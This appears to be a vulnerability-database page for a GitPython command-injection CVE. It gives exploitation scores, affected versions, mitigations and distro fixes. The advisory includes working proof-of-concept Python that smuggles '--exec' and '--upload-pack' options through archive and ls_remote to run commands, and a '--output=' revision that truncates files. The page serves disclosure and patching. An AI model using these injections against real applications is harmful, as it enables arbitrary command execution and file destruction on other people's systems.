Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI
Not in CISA KEV

CVE-2026-67323 — gitpython

Fix: gitpython-developers/GitPython#2163

CVE-2026-67323 is a CWE-77 vulnerability in gitpython. A fix is available for gitpython — see the affected versions and patch details below.

GitPython before 3.1.51 Command Injection via unguarded Git options

Also known asGHSA-956x-8gvw-wg5vPYSEC-2026-3839
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 7, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-67323.

EPSS Exploitation Probability

via FIRST.org ↗
1.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs69th percentile — riskier than 69% of all scored CVEsHighest risk
0.45%0.88%1.32%1.75%0.9%1.3%1.3%Sep 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐍gitpython

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this check him he is only call from fetch, pull, push and clone_from, everything else who build a git argv from caller values just go through, no check, three examples

Code analysis

Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and they land before it, so {"remote": ".", "exec": "<cmd>"} give git archive --remote=. --exec=<cmd> -- <rev>, the --remote spawn the upload-archive helper and --exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage

repo.git.ls_remote(url, upload_pack="<cmd>"), same builder, same result, it's exactly the kwarg gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic repo.git.<anything>(**user_dict) surface him he never got the fix

Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become git rev-list --output=... --, and git he open and truncate that file before he even validate the revision, the file is gone even if the command error right after

PoC

Released 3.1.50, git 2.51.0, stock config (git config --get protocol.ext.allow returns nothing here).

pip install GitPython   # 3.1.50

Common setup for the three:

import io, os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','[email protected]','-c','user.name=a',
                'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
tmp = tempfile.gettempdir()
  1. exec via archive (a service exports a repo and forwards the user's options dict):
m = os.path.join(tmp, 'gp_archive_check')
try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m})
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
  1. exec via ls_remote:
m = os.path.join(tmp, 'gp_lsremote_check')
try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';')
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
  1. file clobber via a rev that looks like a ref:
v = os.path.join(tmp, 'release_notes.txt')
open(v,'w').write('do not delete\n')
print('[*] before:', repr(open(v).read()))
try: list(repo.iter_commits('--output=' + v))
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] after :', repr(open(v).read()), '<- truncated')
[*] before: 'do not delete\n'
[*] Cmd('git') failed due to: exit code(129)
[+] after : '' <- truncated

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIgitpythonall versions3.1.51pip install --upgrade 'gitpython==3.1.51'

Affected Products

1 product · 1 configurations
Application
gitpythongitpython_project
< 3.1.51
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gitpython, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update gitpython to 3.1.51 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-67323 is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

This is an Important vulnerability because it allows for arbitrary code execution or file truncation. The flaw in GitPython requires an application to process attacker-controlled input through specific GitPython methods, such as Repo.archive() or git.ls_remote(), to be exploited. This could lead to a compromise of…

Workaround published by Red Hat
To mitigate the risk, ensure that applications utilizing GitPython are run within a sandboxed environment with minimal privileges. This limits the potential impact of arbitrary command execution or file truncation if an attacker successfully exploits the vulnerability through an application processing untrusted input. Review applications that interact with GitPython to ensure all input is properly sanitized and validated before being passed to methods such as Repo.archive(), git.ls_remote(), Repo.iter_commits(), or Repo.blame().
Source: Red Hat security advisory for CVE-2026-67323 (CC BY 4.0)
ProductFixed inAdvisory
Red Hat Ansible Automation Platform 2.5 for RHEL 8python3.12-gitpython-0:3.1.59-1.el8apRHSA-2026:59135
Red Hat Ansible Automation Platform 2.5 for RHEL 8automation-controller-0:4.6.33-1.el8apRHSA-2026:71114
Red Hat Ansible Automation Platform 2.6 for RHEL 9python3.12-gitpython-0:3.1.59-1.el9apRHSA-2026:59136
Red Hat Ansible Automation Platform 2.6 for RHEL 9automation-controller-0:4.7.17-1.el9apRHSA-2026:71113
Red Hat Ansible Automation Platform 2.5ansible-automation-platform-25/controller-rhel8:1789607021RHSA-2026:71210
Red Hat Ansible Automation Platform 2.6ansible-automation-platform-26/controller-rhel9:1789673739RHSA-2026:71179
Red Hat Ansible Automation Platform 2.7ansible-automation-platform-27/controller-rhel9:1788918363RHSA-2026:67279
Red Hat Hardened Imagesllvm-main-22.1.8-4.1.hum1RHSA-2026:44416

Frequently Asked Questions

## Summary GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this check him he is only call from fetch, pull, push and clone_from, everything else who build a git argv from caller values just go through, no check, three examples ## Code analysis Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and they land before it, so {"r
O3 Security · Impact-Aware SCA

Is CVE-2026-67323 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-67323: gitpython — Fixed in 3.1.51